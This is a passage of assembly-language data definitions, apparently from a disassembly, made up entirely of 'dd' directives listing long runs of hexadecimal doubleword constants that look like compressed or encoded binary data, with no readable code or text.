132F3DFEh, 0D664988Ah, 575402B8h, 80C40BA4h, 806947A2h dd 0BDD2D016h, 9D658C1Fh, 58E8DFBAh, 0FB361200h, 0AF80B25Eh dd 0C5943500h, 4406CEDEh, 6230BCF8h, 5C613B74h, 0CA43C3Eh dd 0A957A9DBh, 375112C3h, 0C8E088D8h, 1378067Bh, 7877710Eh dd 0B63E035h, 2C9C4AFh, 0D788ADC6h, 3C51A7C0h, 7660FCF3h dd 9E060906h, 14CF6B02h, 2DD420B0h, 6298E4A0h, 9B04549Ah dd 0C278A25Dh, 394AA880h, 40D89492h, 0FFBA0E57h, 2D256802h dd 807A558Bh, 71A43EABh, 8ACE0979h, 0D81005E5h, 0A499EA68h dd 88181FF1h, 28E80200h, 44CC3F03h, 96FD0A9Dh, 0CAB368h dd 14D0AE12h, 5009DAF4h, 0D2664D8Bh, 9C8DF8D8h, 47931FECh dd 0D2234B3Fh, 344035F6h, 0AB801E0Ah, 0EB25A98h, 91E6B3E4h dd 0C090F952h, 0A0D79402h, 59DDD50Eh, 18D8D19Ch, 714C016Bh dd 0C95D7658h, 0D48FE55Fh, 80CB2362h, 34D8826Fh, 0D00B0613h dd 70C53E7Dh, 64A5B9B4h, 93004067h, 4558772h, 0CA0142BFh dd 148990C2h, 0D83045DEh, 591140AAh, 0A07C3A27h, 9A5DB8B8h dd 0F4A89725h, 6DEB419Ch, 7808DA02h, 0D746D4h, 0CFA8569Eh dd 4AD88F5h, 0B9F0D80Dh, 8E9CD028h, 8F0083F1h, 17492D6Bh dd 103DF8Ch, 8B56B34Eh, 304CBC65h, 0F949F5FCh, 0C1E21044h dd 239C2F5Bh, 45130018h, 55E7ACF3h, 0BCEC7D72h, 0FA758E0Ah dd 40008453h, 0E73D34D4h, 14391633h, 884C8E68h, 5F27C0DCh dd 2C015B38h, 288EC393h, 0B459EEB7h, 402ED1F5h, 0FC775924h dd 0DB00EC2Eh, 0B8EEFD51h, 0AD9FB98h, 99DF7DCCh, 851C269Ch dd 11AA5D8Eh, 8DC7D0DCh, 0ADEB6455h, 69E83478h, 0E1F260E2h dd 0E5EC830h, 62CE3BD1h, 80E802CBh, 0AE40C20Fh, 4E46043Eh dd 0D86B0C65h, 0B207FD60h, 6AB67E4Ah, 90283B70h, 8D851CA1h dd 0A67845DDh, 0AE8462FEh, 0D891B097h, 0A8BFF183h, 0B9B13088h dd 0FC6BAD09h, 0B0E87A47h, 0D24620B4h, 1E5F0490h, 218C2010h dd 48EDA5E4h, 8C106D47h, 0C00BAD6Eh, 1C384E19h, 9301D0C5h dd 5D8D57D4h, 70924876h, 0A2C01FF7h, 91F01795h, 199480D5h dd 5A5F4CF7h, 64141284h, 88A48E4Ch, 0C1B2C021h, 0A0B9AE3Ch dd 0C020F4A0h, 4FBA4F13h, 446082CCh, 2E5E16F0h, 26FF3800h dd 1CF7A1EFh, 0B420474h, 0C30728CEh, 4EC3654h, 0B8C1978Dh dd 0F055E85Eh, 0FE01A06Eh, 0C801E3EFh, 7C46E98Eh, 28F62C64h dd 8429651Fh, 245F5640h, 5718C227h, 40DC04AAh, 0DC076C26h dd 0B9C2FDB1h, 403C6A2Bh, 1D88CD86h, 0E4CC56h, 5C21FA1Bh dd 51C94EA2h, 0F3408E35h, 0A444CC52h, 5807127Ah, 6D90E0CBh dd 0A099235Ah, 52BAB442h, 627100C8h, 18D8ABB9h, 0A30ADD2Dh dd 0F0DC2E91h, 9DDB0580h, 24B85C0h, 0F8D2A873h, 50DA2E64h dd 0C538CA79h, 5B2570EDh, 0F9781AB6h, 18227930h, 0C1644EC6h dd 0A70CD0C6h, 44EC67B0h, 96CF60E0h, 0CC805A0h, 270FF8Fh dd 20A26D98h, 8AE50D07h, 4B3D4A0h, 0EEC8AC08h, 0E6921DF7h dd 44B99C82h, 99CC0034h, 5AD479DBh, 9A00C660h, 0F05953FEh dd 4A6F64Ch, 0E062CC06h, 9A44C822h, 144CC140h, 0F0B92857h dd 0B7A61200h, 7E78D9D6h, 0A2500206h, 828C476h, 0B47C5EF6h dd 0E4F19E81h, 102045B3h, 0D50BA0Ch, 1449ABDBh, 50A073E8h dd 10403428h, 0DE5313D0h, 0CCBCE4A1h, 85998A2Fh, 0AC0E4204h dd 0F8E838DAh, 0B8A70943h, 5859217Bh, 0D5394B18h, 0CE2D0C51h dd 4410DF77h, 0B84D8F1Ah, 1141FDA0h, 60442BF0h, 27421B65h dd 0C4A5EFD4h, 31F0F42Ch, 0BBC06703h, 0E803DE76h, 0E2198A0h dd 0DFE10EE3h, 0BC819364h, 0D100969Ch, 0E9482AFAh, 585C0461h dd 0B2930560h, 2EF62244h, 127CE957h, 0B7E8049Bh, 61B200F4h dd 26B562C8h, 832C63B9h, 0C7EA980Dh, 12BF80Ah, 9B1F027h dd 5EC43CE2h, 975B3h, 0B1A0F48Dh, 9AC9470Bh, 0F2E8D250h dd 743ACC88h, 2EFC41D4h, 4D716820h, 498C7E81h, 338000C9h dd 0B734A393h, 119C4AE7h, 0AB040466h, 0E5DA7AB8h, 42E528h dd 656AC80Dh, 31C9B9DCh, 5E404F8h, 202CC881h, 6B337806h dd 0DA62A9C4h, 0FFAC202Fh, 0DA616589h, 4EBA2759h, 4CCE41F4h dd 0D44EB44Dh, 0F764A28Ch, 9499C058h, 0CE016401h, 0F5828BF0h dd 0E8500DACh, 3EFBF9A5h, 0B880C505h, 0A3863592h, 0B795E311h dd 880807C4h, 30B49001h, 902860D1h, 3E2094A2h, 6D9527F9h dd 0E611FC9Dh, 0EB85E6FCh, 2179F451h, 7CB02F18h, 59806C7Ch dd 0DEE42F3Ah, 0E0735068h, 4C36D502h, 4BF4B8A6h, 14AAFC80h dd 0E322305Ch, 215E58B4h, 8580552Fh, 0F98EFF2Ch, 0C5BC27A9h dd 754B30C9h, 48042A18h, 0A409F617h, 0C3F84002h, 472E6C7Ah dd 42A534EAh, 60B47C3Ch, 0BF1BAB91h, 0AE617713h, 743BA0E1h dd 14DCF860h, 0D32C501Bh, 88F09886h, 8AC19A3Ch, 0EEF61840h dd 6281FA40h, 0C410200Bh, 9471520Eh, 8C238A65h, 9C66F625h dd 25E35F01h, 41226D8Dh, 0A130482Eh, 0E185AC0h, 227946AEh dd 625F00BEh, 0C3A49318h, 0D7129AB9h, 30A086A0h, 0F058C413h dd 50E4F3FAh, 0BE4D6924h, 50DF0EB4h, 71678C09h, 2040986Fh dd 0E0E82C08h, 586D00Bh, 41044DEh, 0E98275C3h, 0D2CCB8FAh dd 188B3507h, 0D1A3D9E1h, 3C24D4h, 152DDD65h, 0E1967FAh dd 0F4A0E8A0h, 968B280h, 0A2E8F73h, 0A3AE94A2h, 0A208907Bh dd 74F8A692h, 253118EBh, 88C1811Eh, 2B798091h, 246126D4h dd 7F93004Dh, 0C925A1Ah, 0C0007912h, 0B6EC0A20h, 6BFF350h dd 210E1029h, 930030A7h, 1F0F80D2h, 0EA8DE42Ah, 0AD64007Bh dd 3877D89Ch, 6108C923h, 0A04192h, 189F8719h, 0B5062EF6h dd 0A5261DC1h, 625E3008h, 1897FD20h, 84FE6C00h, 0E0CE0236h dd 0E9B20016h, 3A9AEEA2h, 5090C090h, 9C2B610Ch, 3CB6598Eh dd 7E835AF4h, 8194A764h, 0D8233999h, 1663A06Eh, 75640B1h dd 0DFD78969h, 0A5488087h, 5E00DE1Bh, 0CDA6532Dh, 184AD37Bh dd 38281AC8h, 921D198Eh, 1030D8C9h, 160F4C4h, 83C5AE9Ch dd 0A0DDA565h, 0E1001008h, 105460ECh, 20F7121h, 0EB2F5DEEh dd 84A08D0Eh, 0D90A7C3h, 0F90731DEh, 0E02F229Eh, 982005EBh dd 2E08CCE3h, 9600D821h, 1443F622h, 98A4AE27h, 233D0C89h dd 0A7D0694Eh, 2855DE03h, 0E089B6AFh, 7C65EA11h, 349752C2h dd 9B229502h, 3131F3A0h, 22EDDF10h, 1FB9FE05h, 0B8042A36h dd 0B145F628h, 727C8320h, 24B400EDh, 88925ECDh, 509867FEh dd 481D6Ah, 0A0094E0Ch, 8EDC5C2Ah, 3B647800h, 58999869h dd 53329B18h, 14B5A720h, 2090E9D4h, 1849A8F1h, 275E0073h dd 67A13A30h, 0C02413EAh, 190008B4h, 607B6EEDh, 244B0C94h dd 4C080D8Bh, 7ED4740Ch, 82B806h, 0A3F21698h, 0A16E679Ch dd 0C241F40h, 0D1F0D2A2h, 36EEE8F0h, 223D8D0Ah, 465EA4C3h dd 5084312Dh, 8806D8C8h, 0B0282AF0h, 2C8508DDh, 87632CC4h dd 0DAC8394h, 3E0019EEh, 55FA63A3h, 0D4D5B168h, 1C227C58h dd 0CE26BF04h, 0C897A464h, 0CC763AD7h, 0AA9B0488h, 81767A9Ch dd 22E5A4D8h, 51950064h dd 90839199h, 0D942856h, 7F040044h, 3E5E1968h, 6B00D70Eh dd 0E6156C91h, 1C63D878h, 40F5469Bh, 0AF60C9F3h, 7511AA4h dd 2F1082E8h, 106586ACh, 0CF1C0F75h, 0A740263Eh, 81C352E8h dd 0F8224838h, 625A9DA0h, 20D42880h, 0A9130396h, 385FFB9Ch dd 3716EC06h, 2A0D3018h, 0FC32A0B1h, 0EC48C367h, 0EC47EB25h dd 0C2C6D20Ah, 0A0910218h, 0A76E9763h, 0FA150844h, 0CD864D2h dd 3935723Eh, 8C2A18A0h, 215219D1h, 2480EE88h, 923402FCh dd 0F30229Dh, 4674FC2Ah, 0ADF70032h, 3578B33Ch, 135177D0h dd 4867F2B4h, 92834900h, 867A8CCEh, 60944818h, 33F9FA21h dd 2000E18h, 7BFC9936h, 1F7AEABEh, 4F3952CBh, 0F2C03256h dd 0A46EA255h, 1878A084h, 288CA425h, 1FE4B13Fh, 0C3100C26h dd 2CE4A459h, 1E0D3119h, 21C0C439h, 0B6F900FEh, 3067B47h dd 5C90D44Bh, 62B1C613h, 2963C04h, 0A23CD5Eh, 0F3308AF9h dd 0D511ECFAh, 0F6A4E900h, 0DC2EF26Eh, 8011624h, 0D282FF90h dd 0C803CEF4h, 99913E23h, 4CBA2185h, 9768820Ah, 0A39F2B21h dd 0B8DD3464h, 0E88D7E4Bh, 799301A9h, 76ACAF04h, 74BC4073h dd 39C1DCF4h, 56D2553Ch, 65E49450h, 0D8224C25h, 1BAD6E83h dd 138B9115h, 342680D8h, 14E37E2Fh, 0E0E1CBC9h, 0C664E01Fh dd 109CD0D2h, 246466F6h, 853F870h, 0F6C0EC54h, 46AE9E60h dd 0D122D5h, 2260EEE3h, 8139BE5Fh, 6EB05164h, 0AC189058h dd 28BFE0A0h, 0DA223942h, 72F0C22h, 82806CA9h, 0F5E3C099h dd 0AC00D97Fh, 32F939C7h, 10888A03h, 242D4AFCh, 0C9C2209Dh dd 0F83F2029h, 0DE008DC0h, 0A43C727Eh, 0AAEC19Ch, 6C9A94CEh dd 659E12B0h, 0C010032Ch, 21B09987h, 0BD269C2Ch, 0F6421061h dd 1E8C081Fh, 31561FA6h, 23998C10h, 19623C8h, 0A09C2294h dd 883518FBh, 2200ECDEh, 15CB80F0h, 2A7B5865h, 290F944h dd 0FCAE1A8Fh, 3C842A52h, 87F4C47Bh, 14CA8418h, 852180D8h dd 60ECDAFAh, 7F4718D2h, 4017BEB9h, 0A021933Bh, 3180534Eh dd 724221FFh, 0C300D498h, 3A74970Dh, 4E160Fh, 0A6F4F838h dd 0C224D256h, 6BA551C0h, 782B48BBh, 348CA8A7h, 107A02F6h dd 553DE359h, 233AE882h, 904674E4h, 9A60F202h, 0DF31F5AEh dd 60EAE710h, 721D21Fh, 24D84F01h, 78CBC9C8h, 78743A21h dd 0E4002DBAh, 556DD67Ah, 9539DE13h, 0A3EE0282h, 0E4AF6EBBh dd 51412640h, 125F8EF0h, 7B506D4Ch, 74E9F704h, 2280208Ch dd 0BC6A873h, 0C7F69C26h, 3E01F82Fh, 20E620A2h, 3901BFA0h dd 3A996FD5h, 3420E568h, 2020B063h, 0F0A06532h, 9864FDF0h dd 0F760EDF9h, 0AE2E9F60h, 0E270F0CDh, 146001EFh, 3E2849AFh dd 4EA6F802h, 0B683B3Ch, 103316FCh, 515F254Ch, 46ECBC9Fh dd 3E99098Eh, 6180BE15h, 21289D6Ah, 0A593830Bh, 6E8C823Dh dd 2EB42270h, 0D7F480C0h, 5830B088h, 5909DF97h, 0C2A193Fh dd 8F4008D4h, 0E5DAA401h, 0C0305128h, 9FF10708h, 99937AE2h dd 0F319DC82h, 4FEAE5C1h, 35B21120h, 9CAE9380h, 98C96982h dd 0E9680299h, 0A7D4A34Fh, 9F5AF801h, 0FDE10CE8h, 5509E0A3h dd 95A121C0h, 54C89A5Ah, 1CA020h, 0ED385E6Bh, 0C75022ADh dd 6A06AF03h, 2552779h, 3467A2A8h, 9460168Dh, 0AE404024h dd 0F3B20019h, 7ED82EA5h, 12604C2Bh, 383A1890h, 11ACBB2Fh dd 11079293h, 45B9A09Fh, 91DB80B0h, 5A9F9622h, 4C0EC32Ch dd 17B53540h, 0FD95267Bh, 8597083Ch, 802A2889h, 1EE0DD88h dd 37774A08h, 0C8EBDF18h, 3B495CA0h, 78B0A41Fh, 7B2444h dd 22B55726h, 0F070F7DEh, 0B05C5E7Ah, 2E7B378h, 6BDA3EF9h dd 74CAA5F6h, 2FE4EC67h, 696E4760h, 399DC830h, 0C5AB9C2Bh dd 40664E69h, 37080BDCh, 7D2C4CDCh, 98CA881Ch, 0F102463Bh dd 0DDAE9960h, 0E410DE31h, 973A60E9h, 0C94C9686h, 0FC2E9801h dd 0CC642042h, 50128829h, 0E1D47060h, 1794306h, 0EBFDB2A1h dd 0FC3644C8h, 951DD5E3h, 0FECBAA93h, 82B8312Ah, 5935E720h dd 894BC1Fh, 0C058EF24h, 0E8955A9Ah, 5822B146h, 3E5A1DA0h dd 0E6BF4300h, 0A4A0ABAEh, 80044806h, 0C1C82738h, 4060222Ch dd 996DAF96h, 7C242676h, 0C8211082h, 3F12E426h, 7780EC07h dd 848C8D9h, 0E00482A1h, 22986092h, 9BA02E90h, 0F8DA71CCh dd 3BFA2E22h, 0BCEE743Bh, 0A49F9ED8h, 90FD60CCh, 3CAA24EAh dd 80E981F8h, 6428DEFCh, 0C9131848h, 0C88C9661h, 9470F79Bh dd 64C89C95h, 93E14059h, 0E361B18h, 33F28AA8h, 3A108834h dd 0D48E0B6Eh, 84AC29E6h, 5022805Ch, 0F576BA20h, 63CD006Eh dd 0A1B38542h, 2A0347F0h, 8036A331h, 6858D13Ch, 0E42E388Fh dd 0C828F9AAh, 53445C5Ch, 0C3520042h, 0E195FFF4h, 538F932h dd 0E8560E6Ah, 20021803h, 4BC3725Eh, 88CCBB89h, 4621C015h dd 72F1C356h, 686DB603h, 850F01FFh, 1823242Eh, 2D593B00h dd 18890E52h, 9404A19Dh, 5137BD83h, 0F010C2Bh, 379F4784h dd 0D294C09h, 850E8D1Ah, 0CFFC367Ch, 1F998689h, 4CE93618h dd 5546942Fh, 88C35D1Ch, 16C46C89h, 0C3554540h, 0AA0D8F37h dd 19068B0Fh, 11619C88h, 0A885383Bh, 52444119h, 0FE93051h dd 386DF31h, 0F3003AF2h, 0D34F6526h, 7E973238h, 505A322Ah dd 4332529Ah, 5489E9B2h, 0DD44BB4Eh, 0FF970C82h, 0E9751FB5h dd 91211160h, 2570E6h, 2BCC080h, 0EFAE10C6h, 7B148471h dd 30FA9419h, 0CF8A3917h, 0D81340Fh, 8FE4AB3Fh, 31203B39h dd 0F7B2BB86h, 2360EE59h, 158D8B37h, 86FADB06h, 250E22E4h dd 0AE4C805Ch, 0BC1290BBh, 0EA03DA72h, 298D8F30h, 0BCD71380h dd 312534ABh, 0A917A16Eh, 50445218h, 0C8C35861h, 448C4489h dd 5000401Ah, 2B1928C3h, 3AACB4BDh, 61922918h, 0F811431Eh dd 88CFFF6h, 0C35FC357h, 187C8991h, 57478819h, 65C35Ch dd 4537861Bh, 6651B589h, 29105920h, 0E0633400h, 76AFFF75h dd 6D43DDAh, 0B98AC07h, 6CF62C16h, 3814140h, 38B889EAh dd 0DAB8663Ch, 80A1C235h, 0A2C42D5h, 0D43F3A21h, 17377F4h dd 5CB6F09Fh, 57BD858Bh, 31A66EA7h, 32793715h, 0F1162A83h dd 0B58D08DDh, 0AC213921h, 0A11814D1h, 0ED85090Dh, 4ED85118h dd 48FB76E7h, 0D68799E8h, 5AFD63FFh, 658D0B88h, 0F059EBA9h dd 951489D0h, 89EE2531h, 0E82E0F60h, 0BF0F0226h, 818261DAh dd 0F5010769h, 0B642F38Bh, 2BC4462Dh, 6420A21h, 66DFF680h dd 5EC88B36h, 0D013E46Eh, 0E9862A2Ah, 5E05AF08h, 0EDBD1A0Fh dd 806BC200h, 4C8B8DEEh, 0C91145C0h, 9751831h, 8812B512h dd 50301974h, 0D9B82C53h, 18189A07h, 9D28E985h, 0F340849Dh dd 5BD315FFh, 17882258h, 73E22021h, 0D21033F0h, 0E81824A1h dd 0C327C713h, 0D0E4CE00h, 23395576h, 0DD8B007Eh, 42176140h dd 864CA146h, 15B11066h, 0B2B85A30h, 42EB501Ah, 4040D899h dd 0FA193793h, 0D97E5362h, 31C2E22h, 431DBA89h, 20067650h dd 0FC4341FAh, 8605B12h, 548111AAh, 0A1049C96h, 10D5D4h dd 812647C7h, 0A862F4B2h, 5F58570Bh, 95BA81FCh, 0C221AB5h dd 82EDF528h, 44E74730h, 49EE6019h, 0CFF6141Ch, 0FD10AC88h dd 0FE502417h, 71D4674h, 7EDF2B8h, 0A45EE670h, 0FDC14C09h dd 0E742FEC0h, 50E6FF7Dh, 7430A000h, 2A43A2D9h, 7580C653h dd 7BA0E110h, 33481D95h, 92B590A4h, 0FDE70307h, 263EB4EAh dd 6A965CDDh, 15236A3Bh, 0E959609h, 503FF4B2h, 0B920BD33h dd 70687004h, 0D9E4B118h dd 8181Ah, 94CC8B7Fh, 8D295109h, 84E4F155h, 0CA1BDF6h dd 406DC088h, 1F62B127h, 721DD10h, 9491E423h, 6090988Bh dd 66C78100h, 29363961h, 0EED5D95h, 37939B79h, 290CE5E0h dd 88F40EA7h, 3E96C01Ch, 113A5128h, 0D8A012D7h, 0D70D9D0Ah dd 18408B80h, 4838EA80h, 0AC4552C7h, 13D43B8h, 14618048h dd 498E0F60h, 1233C8h, 5D387441h, 7F9FB6Eh, 29E2BE23h dd 0B1A62034h, 172EB41Ch, 1D598661h, 0BEE18110h, 9819F33Ch dd 0F178C3Dh, 14F3183h, 23CAB70Dh, 0BF66014Fh, 983D08D2h dd 28381752h, 243B069Ah, 8128185Bh, 844C120Ch, 105994ECh dd 0B249090Dh, 0A41DC740h, 1E8E34BAh, 0F03A4040h, 0B6579D3Bh dd 1D3FB900h, 420EDFA2h, 956318D7h, 0F18046FCh, 5046DC4Ch dd 0D09A7977h, 0C6F8BE91h, 0C6C28F0Bh, 1B26170Bh, 664F006Bh dd 58C5692Dh, 922287Dh, 0BD01EE7Dh, 0ADCFC135h, 0A48E9D2Ah dd 0FF4383F8h, 2BF6850Fh, 0BFDFB11Eh, 3F272B44h, 1E192581h dd 7DDE3019h, 54E92540h, 2B57D626h, 3FCB870Fh, 5A750D20h dd 53194463h, 5FFBF156h, 17C23C7h, 465E422Eh, 0CFDB0019h dd 0D2AF9BA7h, 31DF0581h, 874CCA9Fh, 0AD8DDBDBh, 0B9A4022Fh dd 402EB5C4h, 0CE31B8F2h, 14042675h, 0D302518Ah, 16E3B966h dd 0DD88F99Fh, 0DD21FC07h, 94047207h, 0C3B76753h, 0E75C89D2h dd 53430193h, 40E9A9C3h, 0BC4F8809h, 92470307h, 7A207EB7h dd 1DC01BF0h, 85268481h, 90DCB17h, 0FE80FAA2h, 5E0B9A29h dd 0EEF48A30h, 990221E9h, 181BF1D0h, 57E71D8Ch, 0D7299C60h dd 58211D28h, 985F52Bh, 38E23F59h, 0B11AAEBDh, 0EE880145h dd 1359248Dh, 623C4A43h, 238227ADh, 0B1003D11h, 480F4073h dd 31815180h, 5932A99Dh, 0DF75302Ch, 6A04840Bh, 7FF72C34h dd 5802B050h, 4D2FE01h, 140925F6h, 4D072667h, 16808h, 0F6DB8C66h dd 739004C3h, 0C6190267h, 56A09964h, 52680656h, 5E9CA8B8h dd 6A5E1954h, 9D6B3A4Ch, 89080496h, 81649B10h, 7445BCEEh dd 1D472D08h, 0D1AC9B68h, 9A92E4ECh, 4F1E90F0h, 26611E68h dd 0C521E02Fh, 194ECA0Fh, 0F4537D70h, 18C25628h, 9875C085h dd 0A684175h, 0DB876498h, 0D07AD32Ah, 684C8385h, 8092E7A4h dd 8B1120B4h, 257E749Dh, 1A05045Bh, 2B545C79h, 3C70A15h dd 1B76B8CFh, 0F020C43h, 1F252608h, 0C18504F9h, 6A87D820h dd 534302ABh, 91B52934h, 6D851728h, 97684500h, 8092A5F7h dd 33872109h, 0C560267h, 3275142Eh, 46C0DB66h, 65A44EA1h dd 0A587890Ch, 9D571A34h, 801D11FCh, 1F18C233h, 0D73D0FFEh dd 0EA398BE4h, 3E72C674h, 6203BB04h, 0E883505Bh, 0CD815039h dd 0AC0B05CFh, 235FF64h, 45953171h, 89E91D6Bh, 0BA0D4025h dd 5F261C48h, 0B90BB936h, 0D45A9B29h, 118D8941h, 10F06212h dd 4D4D1785h, 8DBA2322h, 6611F40h, 458DBD80h, 852251FCh dd 0BA66020Eh, 5CE9C91Dh, 81030464h, 338874C7h, 23C090DBh dd 1A9D31BDh, 0C638BAD7h, 73F4F60h, 8F640B12h, 0C4833031h dd 51C14631h, 7259B658h, 4C892DC3h, 410E6616h, 6398C351h dd 0C3661h, 0D30BE882h, 9AACBF57h, 317AAA02h, 7327E1BDh dd 325A00E9h, 8321EF71h, 0E5A08B1Fh, 0F30FD46Eh, 85FB2BC9h dd 78078418h, 0A269D29h, 30D84545h, 6EF0FBA3h, 0BC6611DFh dd 0D24C1340h, 62B31865h, 0C70CBE8Bh, 21A48133h, 83033DFFh dd 415B832h, 8BC39B81h, 55308E5Ch, 5D0411E8h, 9196ED81h dd 45838B1Fh, 432B041Bh, 0C890A75h, 54F5D9Ah, 52D491FDh dd 0B5E0CCF6h, 68CDED9Ch, 0F600818Ch, 17BCC8F2h, 61830F50h dd 5200988h, 48715F2Ch, 0E982711Eh, 644EDFCBh, 0D0148BF8h dd 2909860Fh, 0B801D7B9h, 4855D704h, 0F7815A80h, 0D465BB0Dh dd 0BA868503h, 8434B640h, 5FE8AC81h, 0C0ED0C9Dh, 4D5868FBh dd 0A4C7556h, 0B49106Dh, 44AD0122h, 5D3525h, 0FB5C94B1h dd 2C0937A7h, 352F062h, 2259C811h, 0B11402D6h, 23AE96Ch dd 70EBC1B9h, 2938E0F0h, 19DD25BDh, 3D08C435h, 15DD4204h dd 0D00BEB11h, 0F08CE120h, 69F62318h, 0F88E144Ch, 5B7B8C17h dd 221A4924h, 65426800h, 2D853167h, 0E730164Dh, 0A63C6BA5h dd 70F50053h, 988E779Ah, 808F0B0Dh, 0D1A56E0Ah, 0C1E65A47h dd 392E3683h, 6E85309Bh, 78450001h, 74706563h, 6E6F0E69h dd 666E4920h, 616D72C2h, 50030C8Eh, 73CB656Ch, 63202C98h dd 0AFE77481h, 685F1D3Fh, 3E733E7Eh, 0B3773E66h, 0E3641272h dd 0EB6CF376h, 73B7CF70h, 456977B3h, 769B1D34h, 1C1B266Ch dd 1D67676Eh, 0D72E7340h, 5F661F54h, 5E795F6Bh, 0D0ACD75h dd 198FE04h, 80CC7028h, 0E436E73h, 2B4C5254h, 78EBF6BFh dd 0E5466951h, 187AB764h, 54707B4Ch, 796C0879h, 0C5627F69h dd 102964DAh, 56344236h, 0F7A627DFh, 9C25F73Dh, 0E8C1431Eh dd 4E496B63h, 38640F52h, 5447554Fh, 6F72500Fh, 0F421DF4h dd 0F323BDAh, 34B6F308h, 0B0F393Dh, 5051791Eh, 1E18A38Eh dd 0BD0525A4h, 0C68C2801h, 42F89C2Dh, 0AB41EEA3h, 0D0E9050h dd 7AB5697h, 0CFB395FFh, 76280A91h, 321419FCh, 997D5807h dd 24452116h, 0B2656F86h, 2AED146Fh, 36A225F9h, 0B233461Ch dd 80461C42h, 461C4AB2h, 1C46B29Eh, 3AB28746h, 0B28F461Ch dd 96421C3Eh, 710C61A4h, 0E5FE0406h, 0F007014h, 0D955486h dd 76174285h, 0CFDA1158h, 81047069h, 131CF8C2h, 5E8D25C8h dd 52462395h, 400728AEh, 893BD4C3h, 0C42579F2h, 400CD159h dd 8B2A5522h, 0C32F139Dh, 655B0A4Ch, 50C41168h, 421E3622h dd 0E4422154h, 1E462258h, 3A225C42h, 0AB3EDCA5h, 6844AF0Dh dd 5A52CD50h, 323E0C64h, 0C46193Ah, 36438642h, 0AA13222h dd 291C262Ch, 0D040764h, 614F92Fh, 0D560CD3Ch, 406A24C4h dd 194E24CAh, 0BCEB5B5Ah, 7A990125h, 184A708Bh, 0E9509BB3h dd 47024B0Bh, 19245C25h, 0F820624Eh, 0C2611979h, 28E63404h dd 14603286h, 2AF60408h, 24984FD1h, 0F860E9C3h, 30B58B21h dd 818EC77Ah, 18F006E6h, 0E833C6D9h, 8113C269h, 3B4CD0C6h dd 39D634B5h, 51E9EC0Dh, 0F2D820D8h, 0C0CFE622h, 8C66506Fh dd 31224C8h, 1B10C00Ah, 0D49D7E2Ah, 858B4273h, 86094D44h dd 8DB0A18h, 0BE2C673Fh, 432F638h, 27CFC624h, 0B785FB50h dd 0A9E10408h, 0FC71E12h, 0FEC54C01h, 1CC0FAC0h, 8F2D9653h dd 0FC6C8966h, 5B570209h, 4C092B53h, 44E182A0h, 0BBE02243h dd 0CEF5326h, 3E380CBh, 386884C3h, 765E764Bh, 61614FC7h dd 0BA448B41h, 0C59829E6h, 7C068915h, 2CE51878h, 0CC2390F1h dd 0A65BBD01h, 60A344A2h, 0EA3E8024h, 0BB093191h, 0DF01B7A1h dd 0C9B101B0h, 0F9402AE9h, 2C88AACh, 63272C3h, 0BAACBD1h dd 14440D2h, 0C90A324Ah, 232DE5D6h, 11A8DDE1h, 8B520E10h dd 7A6057D4h, 0E9C03308h, 80AA21A0h, 8DAC3F70h, 0BC5A5F2Ah dd 5651531Bh, 51DB9232h, 80AC1E9Ah, 81D3D1D8h, 5A1BBCC3h dd 0CFB03746h, 220B49A3h, 8B07E897h, 5B595EC3h, 7B346045h dd 0AC8C74B8h, 77AD2AEAh, 0E723C010h, 0FD4DF90h, 4A8D80Ch dd 0D4A6293Ch, 4A0BD54Ch, 6060CB25h, 0D2D9858Fh, 0D1640A21h dd 22BD1F06h, 0E9388913h, 43F364D5h, 0BA408B1Fh, 46F31702h dd 2192899Bh, 0FE3C1419h, 0EE1E46ACh, 88E430A3h, 8768E9AEh dd 76A4DF69h, 4D007212h, 0B2B80C7Ah, 0A9450DCAh, 0C02907E9h dd 0D1E43006h dd 3B46C801h, 0F1820FF7h, 0EA028D49h, 0B2289708h, 2897284Ch dd 53515604h, 2C041384h, 67980C4Ah, 0C92D503Ch, 9804880Ah dd 32133401h, 8C3C1D8h, 675D1C21h, 595B1C40h, 237A25Eh dd 107C6198h, 81B92925h, 2D0C543Ch, 0B1210B42h, 0B329588h dd 0ED4BE960h, 5484BFA0h, 7D37CE00h, 3C41430Fh, 4FBC98C2h dd 0CEC32203h, 0BF016BF8h, 63E2BED0h, 0A1385D74h, 0BC860EF8h dd 0E21D66Ch, 0C2807004h, 0A206814Fh, 9C7E4DE1h, 9701DC39h dd 1518F866h, 7AE03382h, 28D75B8Bh, 95A61E03h, 0E5E9CB12h dd 2560B44Eh, 5CA25B56h, 594A5500h, 61FAB7FEh, 9EDAA4C3h dd 0DF8CB1C6h, 0A1CB8BE0h, 0F7F8CAB3h, 0BF2D4C7h, 0B153BC37h dd 2BC061BEh, 1DA39F75h, 1BF78B13h, 8DF733BEh, 40BFC11Bh dd 0CF68105h, 6202FA14h, 7F5416A2h, 0D2B7B840h, 27DB950h dd 8945E9E4h, 37D3241Ch, 21035432h, 69E2E980h, 8C0F8435h dd 0E818A4B9h, 0CF1B0B12h, 0E1A0E712h, 0D7407A01h, 0B8DBEF91h dd 138274A3h, 53011Ch, 66C48B96h, 293D69BAh, 0AEEBAACDh dd 0EE8BD64Ah, 0D9C01CC8h, 576E494h, 26B26B71h, 534BA646h dd 3015A20Fh, 68B46178h, 91A5972Fh, 0E0A09317h, 0F2B217D9h dd 0C80B4B0Bh, 0B68DA69Bh, 3509E028h, 0E030E3F5h, 12724885h dd 0B879B205h, 13787A01h, 85B27D1Fh, 7B031007h, 5A80A04Eh dd 0C0D0E7FFh, 20E82545h, 0DF3B7AEBh, 0AEDD00A1h, 7599D892h dd 7F0251EEh, 5A66ED80h, 109CE957h, 0FC0BC6Ch, 0FE0140B6h dd 8BB0C840h, 21245ADh, 0E8C3B05Fh, 0E30F6999h, 6D6200DBh dd 975C9C6h, 6E20D09Eh, 47071B04h, 90C0B5F6h, 48932459h dd 0F163A5Ah, 8721C888h, 0AA11BE00h, 0EE8A3B7Bh, 24F84C61h dd 5E20E825h, 2AA04AA2h, 58EFB200h, 0ECAFD51Dh, 59F0268Ah dd 2DB4F68Ch, 0F10E42D6h, 0F0FA60FCh, 0AD41B0Fh, 0CA938061h dd 2FE8C2A1h, 9F7C0040h, 5D7803h, 8150E32Eh, 8EA79DDBh dd 805E7007h, 0C6A19CECh, 308759D5h, 62DA8B56h, 94C2FF33h dd 0E3811190h, 488D6000h, 3E148B12h, 79C2F4F8h, 29BB3656h dd 26021076h, 0B07BFB5Dh, 22DA6084h, 39FA00C9h, 0FF475EB9h dd 6B985221h, 48FCE07h, 8321B73Eh, 2E3303EFh, 7FF14000h dd 0C50A113Ah, 0A1D03Fh, 279B9F84h, 6144866h, 58C68BCBh dd 8109AE4Fh, 60A6E8FFh, 